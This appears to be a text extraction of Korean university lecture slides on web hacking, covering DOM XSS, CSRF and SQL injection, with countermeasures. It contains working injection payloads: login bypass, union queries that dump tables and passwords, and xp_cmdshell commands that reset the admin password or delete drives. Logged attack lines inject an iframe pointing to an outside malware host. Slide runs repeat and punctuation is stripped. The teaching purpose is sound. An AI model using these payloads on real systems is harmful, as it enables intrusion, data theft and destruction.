① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 26: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 27: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

